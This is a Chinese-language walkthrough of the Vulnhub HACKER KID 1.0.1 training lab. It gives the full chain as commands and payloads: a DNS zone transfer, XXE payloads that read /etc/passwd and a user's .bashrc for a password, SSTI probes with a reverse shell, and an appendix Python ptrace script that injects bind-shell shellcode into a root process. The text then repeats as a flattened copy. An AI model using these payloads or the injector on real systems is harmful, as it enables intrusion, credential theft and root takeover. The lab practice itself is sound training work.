Vulnhub-HACKER KID: 1.0.1靶场实践
字数 1646 2025-08-24 07:48:33

Vulnhub HACKER KID: 1.0.1 靶场实践教学文档

靶场概述

  • 靶机名称: HACKER KID: 1.0.1
  • 下载地址: Vulnhub链接
  • 难度级别: OSCP风格
  • 特点: 注重枚举技巧,利用方式简单,无需猜测或暴力破解,每个步骤都有适当提示

环境准备

  1. 下载并导入靶机到虚拟化平台
  2. 确保攻击机(Kali Linux)与靶机在同一网络

渗透测试流程

1. 主机发现

使用arp-scan工具发现靶机IP:

arp-scan -l

示例结果: 靶机IP为192.168.84.130

2. 信息收集

端口扫描

nmap -p- -Pn -sT -sV 192.168.84.130

发现开放80端口

Web目录扫描

未发现有用信息

首页源码分析

查看首页源码发现注释提示:

  • 需要page_on参数
  • 添加page_on参数后显示"深度不够",提示需要爆破该参数

参数爆破

使用Burp Suite对page_on参数进行爆破:

  • 发现page_on=21时响应长度不一致
  • 页面提示存在多个子域名,其中一个是hackers.blackhat.local

3. DNS区域传送利用

53端口扫描

nmap -p53 -sU -sT 192.168.84.130

发现TCP和UDP 53端口均开放

DNS区域传送

dig axfr @192.168.84.130 blackhat.local

获取所有子域名后,将解析添加到/etc/hosts文件

4. XXE漏洞利用

访问hackerkid.blackhat.local:

  1. 尝试创建用户失败
  2. 抓包发现POST数据为XML格式
  3. 验证XXE漏洞存在

XXE利用

  1. 发现可利用用户saket
  2. 尝试读取.bashrc失败
  3. 使用php://filter读取文件:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc">]>
  1. 解码base64获取账户密码

5. 9999端口登录

使用获取的凭据登录9999端口:

  • 用户名: saket
  • 密码: 从.bashrc中获取

6. SSTI漏洞利用

登录后提示输入名字:

  1. 发现name参数存在SSTI漏洞
  2. 验证payload: {{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]
  3. 构造反弹shell payload并进行URL编码
  4. Kali监听4444端口获取shell

7. Capabilities提权

查找具有capabilities的程序

/sbin/getcap -r / 2>/dev/null

发现python2.7具有capabilities

选择目标进程

ps -aux | grep root

选择ID为1012的apache进程

执行提权

  1. 下载并执行提权脚本inject.py:
python2.7 inject.py 1012
  1. 靶机开启5600端口后门
  2. 使用nc连接:
nc 192.168.84.130 5600

成功获取root权限

关键知识点详解

1. Capabilities提权

Linux Capabilities将root权限分割为不同能力,某些程序可能被赋予特定能力而不需要完整root权限。当程序被赋予cap_setuid+ep等危险能力时,可被利用进行提权。

相关资源:

2. DNS区域传送

DNS区域传送(AXFR)用于主从DNS服务器同步数据。配置不当可能导致信息泄露,获取所有子域名记录。

技术要点:

  • DNS通常使用UDP 53端口,区域传送使用TCP 53端口
  • 完全区域传送(AXFR)和增量区域传送(IXFR)
  • 使用dig axfr命令测试

相关资源:

3. XXE漏洞

XML外部实体注入,通过构造恶意XML实体引用外部资源,可能导致文件读取、SSRF等。

利用方式:

  1. 文件读取:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  1. 使用过滤器读取base64编码文件:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">]>

4. SSTI漏洞

服务器端模板注入,当用户输入被直接拼接到模板中执行时,可注入恶意代码。

检测方法:

  • 使用通用payload测试: {{7*7}}${7*7}
  • 不同模板引擎语法不同

附录: 提权脚本

# inject.py
# 基于C程序改写,原程序参考: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

import ctypes
import sys
import struct

# 定义ptrace宏
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17

# 定义寄存器结构
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")
pid = int(sys.argv[1])

# 设置参数和返回类型
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# 附加到进程
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers = user_regs_struct()

# 获取寄存器值
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# 反弹shell的shellcode
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# 逐字节注入shellcode
for i in xrange(0, len(shellcode), 4):
    shellcode_byte_int = int(shellcode[i:4+i].encode('hex'), 16)
    shellcode_byte_little_endian = struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
    shellcode_byte = int(shellcode_byte_little_endian, 16)
    libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip + i), shellcode_byte)

print("Shellcode Injected!!")

# 修改指令指针
registers.rip = registers.rip + 2

# 设置寄存器
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# 分离进程
libc.ptrace(PTRACE_DETACH, pid, None, None)

总结

本靶场涵盖了多个重要渗透测试技术点:

  1. 信息收集与枚举
  2. DNS区域传送利用
  3. XXE漏洞利用
  4. SSTI漏洞利用
  5. Linux Capabilities提权

每个步骤都有明确提示,适合练习基础渗透技能和漏洞链利用思路。

Vulnhub HACKER KID: 1.0.1 靶场实践教学文档 靶场概述 靶机名称 : HACKER KID: 1.0.1 下载地址 : Vulnhub链接 难度级别 : OSCP风格 特点 : 注重枚举技巧,利用方式简单,无需猜测或暴力破解,每个步骤都有适当提示 环境准备 下载并导入靶机到虚拟化平台 确保攻击机(Kali Linux)与靶机在同一网络 渗透测试流程 1. 主机发现 使用 arp-scan 工具发现靶机IP: 示例结果: 靶机IP为192.168.84.130 2. 信息收集 端口扫描 发现开放80端口 Web目录扫描 未发现有用信息 首页源码分析 查看首页源码发现注释提示: 需要 page_on 参数 添加 page_on 参数后显示"深度不够",提示需要爆破该参数 参数爆破 使用Burp Suite对 page_on 参数进行爆破: 发现 page_on=21 时响应长度不一致 页面提示存在多个子域名,其中一个是 hackers.blackhat.local 3. DNS区域传送利用 53端口扫描 发现TCP和UDP 53端口均开放 DNS区域传送 获取所有子域名后,将解析添加到 /etc/hosts 文件 4. XXE漏洞利用 访问 hackerkid.blackhat.local : 尝试创建用户失败 抓包发现POST数据为XML格式 验证XXE漏洞存在 XXE利用 发现可利用用户 saket 尝试读取 .bashrc 失败 使用 php://filter 读取文件: 解码base64获取账户密码 5. 9999端口登录 使用获取的凭据登录9999端口: 用户名: saket 密码: 从.bashrc中获取 6. SSTI漏洞利用 登录后提示输入名字: 发现 name 参数存在SSTI漏洞 验证payload: {{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz] 构造反弹shell payload并进行URL编码 Kali监听4444端口获取shell 7. Capabilities提权 查找具有capabilities的程序 发现 python2.7 具有capabilities 选择目标进程 选择ID为1012的apache进程 执行提权 下载并执行提权脚本 inject.py : 靶机开启5600端口后门 使用nc连接: 成功获取root权限 关键知识点详解 1. Capabilities提权 Linux Capabilities将root权限分割为不同能力,某些程序可能被赋予特定能力而不需要完整root权限。当程序被赋予 cap_setuid+ep 等危险能力时,可被利用进行提权。 相关资源 : Linux利用capabilities提权 2. DNS区域传送 DNS区域传送(AXFR)用于主从DNS服务器同步数据。配置不当可能导致信息泄露,获取所有子域名记录。 技术要点 : DNS通常使用UDP 53端口,区域传送使用TCP 53端口 完全区域传送(AXFR)和增量区域传送(IXFR) 使用 dig axfr 命令测试 相关资源 : DNS主从复制及区域传送 3. XXE漏洞 XML外部实体注入,通过构造恶意XML实体引用外部资源,可能导致文件读取、SSRF等。 利用方式 : 文件读取: 使用过滤器读取base64编码文件: 4. SSTI漏洞 服务器端模板注入,当用户输入被直接拼接到模板中执行时,可注入恶意代码。 检测方法 : 使用通用payload测试: {{7*7}} 、 ${7*7} 等 不同模板引擎语法不同 附录: 提权脚本 总结 本靶场涵盖了多个重要渗透测试技术点: 信息收集与枚举 DNS区域传送利用 XXE漏洞利用 SSTI漏洞利用 Linux Capabilities提权 每个步骤都有明确提示,适合练习基础渗透技能和漏洞链利用思路。